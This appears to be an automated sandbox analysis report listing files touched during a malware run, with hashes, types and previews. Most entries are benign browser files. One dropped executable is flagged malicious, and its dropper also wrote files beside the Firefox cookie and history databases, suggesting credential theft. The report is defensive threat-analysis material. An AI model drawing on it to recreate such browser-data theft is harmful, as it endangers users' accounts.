"UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8128_533996232\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8128_533996232\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8128_533996232\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 5 08:13:30 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.968211509890627
Encrypted:	false
SSDEEP:	48:83dqTWqeH/idAKZdA19ehwiZUklqeh3y+3:8gbe8y
MD5:	F4CF19221AE376EE19C5043B317832DC
SHA1:	A8C7600DC282FC194DC43516AD9A9D4D0FBE6909
SHA-256:	B125AE8167DA587535DF98E64815D5771D220687269B7B98A7D6D19C9C4E6D77
SHA-512:	CC0E56254B14E9DF3D42ADBDD04F6A245835E5FB7E825D9A7A222295535401174672866A2B6D0E8A1AC88A8C0C720F3570C3AD11B7584AE5EAE1D63A27A3A94E
Malicious:	false
Preview:	L..................F.@.. ...$+.,....n.,.b/..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IeY.I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VeY.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VeY.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VeY.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VeY.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$.ml.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 5 08:13:30 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9820802434794738
Encrypted:	false
SSDEEP:	48:8tdqTWqeH/idAKZdA1weh/iZUkAQkqehsy+2:8Kb89Qly
MD5:	FD5A77B6C073E5F63122DD31855C2001
SHA1:	159B388ECFB3564CAC0B746C2EAB2A2A1B3EA67B
SHA-256:	5F344CF7427135D753FD47951729F84A95AB935EBCE862C7BE89DB108F2187EC
SHA-512:	E64CA1D526730D3A95CBD0898BFA43E742133006C7AAD9ADD1421FF853897ABF4DE9140486BAAA34266647004F1DA6DD0EDE2BE667408EDF6EF6721509A9C5CF
Malicious:	false
Preview:	L..................F.@.. ...$+.,....W...b/..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IeY.I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VeY.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VeY.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VeY.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VeY.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$.ml.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.9981391182760024
Encrypted:	false
SSDEEP:	48:8xjdqTWqsH/idAKZdA14tseh7sFiZUkmgqeh7syy+BX:8xsb6ngy
MD5:	3A4E329FAE74ABB851E7B5C4894E8B94
SHA1:	50153EFD2ACB040FFB66BDAF9D6E73D9B9118390
SHA-256:	E4D2D5371DE3054BE2262C81412305576DBFDB0671F67657A89C0CD0B208990C
SHA-512:	7A2886995D7AD968A6C2A4A92954D8F3C411D6C517287FFAF218934443F124FDCE79BB11AF9071CBBBDA55E9A6290FBB18CBD8DEF4F7FAC413D2A3122238E62E
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IeY.I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VeY.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VeY.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VeY.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$.ml.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 5 08:13:30 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.982814012622753
Encrypted:	false
SSDEEP:	48:8QdqTWqeH/idAKZdA1vehDiZUkwqeh4y+R:81bHKy
MD5:	60434AFB5DBF70024191495F8BAA235B
SHA1:	A97D1BC9B49FC68EB1BFA235291ACB7F49F1830F
SHA-256:	183863C26E0A67FCD9717708818D14C938673AD9421DC09401813A59264B2060
SHA-512:	D9017F2BD7CAFEBD73F49B954994E71256AF3DCB144376E2AC4B4AF73FE24ECA5152E05713BA2E4BCFFDE13598C91F7A1FB3A57377104E12895AF598F59616E0
Malicious:	false
Preview:	L..................F.@.. ...$+.,........b/..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IeY.I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VeY.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VeY.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VeY.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VeY.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$.ml.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 5 08:13:30 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.971984709009138
Encrypted:	false
SSDEEP:	48:89dqTWqeH/idAKZdA1hehBiZUk1W1qehmy+C:86b39Gy
MD5:	5BEF99F3EDA4F9FD0855122CFB1093DC
SHA1:	C8B9FBEF8D414F3BEE035D9428AB19042E19ACB6
SHA-256:	507BBF5591A23C18D5CB30750A0AAA3CE92A91BE0C18BEAC074D45E42BC33637
SHA-512:	9C8F231901FF879F562C3E9B7DE15C2E0AB38B401147E5B5FE384105A25A352E20F589860C4FE9A1CC545D8174AB2E113F666BFA03301A96B426DAC7CA53853A
Malicious:	false
Preview:	L..................F.@.. ...$+.,........b/..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IeY.I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VeY.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VeY.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VeY.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VeY.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$.ml.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 5 08:13:30 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9820182035490372
Encrypted:	false
SSDEEP:	48:83dqTWqeH/idAKZdA1duT+ehOuTbbiZUk5OjqehOuTbgy+yT+:8gb/T/TbxWOvTbgy7T
MD5:	F1CD44E38261C38FEC301F160A4BD203
SHA1:	A16760045E2C148DF34CB4537829D1FC44BBBC06
SHA-256:	8EBE75C541CEDA979214B30EC1104C98260969C86AB5BD7371A0A5185C6E5199
SHA-512:	05E7E103EB4AB7905CB3B0D9CF45457A6923DC10BFF54D0F1C21AE059A250678AE9A29BF6BB584992692502C44D1AE13614EDDBE7F92F103299A1C2E1A679D46
Malicious:	false
Preview:	L..................F.@.. ...$+.,....u@..b/..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IeY.I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VeY.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VeY.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VeY.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VeY.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$.ml.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsAFCFHDHIII.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	319488
Entropy (8bit):	7.438354796919163
Encrypted:	false
SSDEEP:	6144:4mxt6IkkJtxNOKnC0LdcJn8zl3+jXKK+lftCHmwvmdulqmqyy+EB:hb3BSJn85OmK+NtCHmfdulgyyzB
MD5:	EEEEA91A33F3CF35A77893B670548A8C
SHA1:	D8DF957DEBB85C23AE8B42367A35749455C6ED72
SHA-256:	C3C4702EBF59529787F2E6A360889729C727026E279FF95FAF2533B67E3B9AB8
SHA-512:	7762D5E3209763BC32BFD4D88487B4B1E4298A4B1D4AAA9E8926681E1171BAAF8559CF8B418B1C15DA685EA8B9D094DED84D39F67A7378FE05AA97E0E29470F2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....Hc2...@.................................W...k...........................,x1..............................w1..................................................... . ............................@....rsrc...............................@....idata ............................@...paflvhti..........................@...ykjvsrqi......1......^1.............@....taggant.0....1.."...b1.............@...........................................................................................................................................................................................................................................................

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	173724
Entropy (8bit):	5.557638948283294
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpR+wZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5RD7:i7bzO6X+wZDDjuBv5Vjq3B30GSXOA2PA
MD5:	DE13D8242B5D012961BE2219753C6C36
SHA1:	48568AC639492CCFAEFD1C2357D754639ADF0B9D
SHA-256:	923060263CFFF8A20362441AF1C714B4FC95DC4263DA8031CAAEAF24412AD3ED
SHA-512:	966A88FC81A1D452728F6619B4A03B7F129781044D3D073751FD090DB09F50217268966670CD4F623F512EF7F28824D20ABEDDFDFAD9B2BEC06D23F405087B01
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (3409)
Category:	downloaded
Size (bytes):	3415
Entropy (8bit):	5.843564232176492
Encrypted:	false
SSDEEP:	96:8nli2cH6666cVwjvujr/VuSkT2q5KHsKhm1I29C/ffffQo:8lfcH6666cVwjvuP/VsT2q59CT
MD5:	422A2881AA573B60442CB7B94E3FFDF7
SHA1:	C9ACEC309594E5F70D5A7AB4924A856D58F79CD9
SHA-256:	CF7935AD939BA73F4D8712D00B46983C9285AF8612321734E0E9502B38EDCCB8
SHA-512:	6A5E627F50E851B44E73D0DF21B2C1F9AB8C5DF9B58C9820CE157C98E77DCD665CF5E64053F1098E49CF015C5E3AEB0516E6CF5B1F890899661EBC629892341D
Malicious:	false
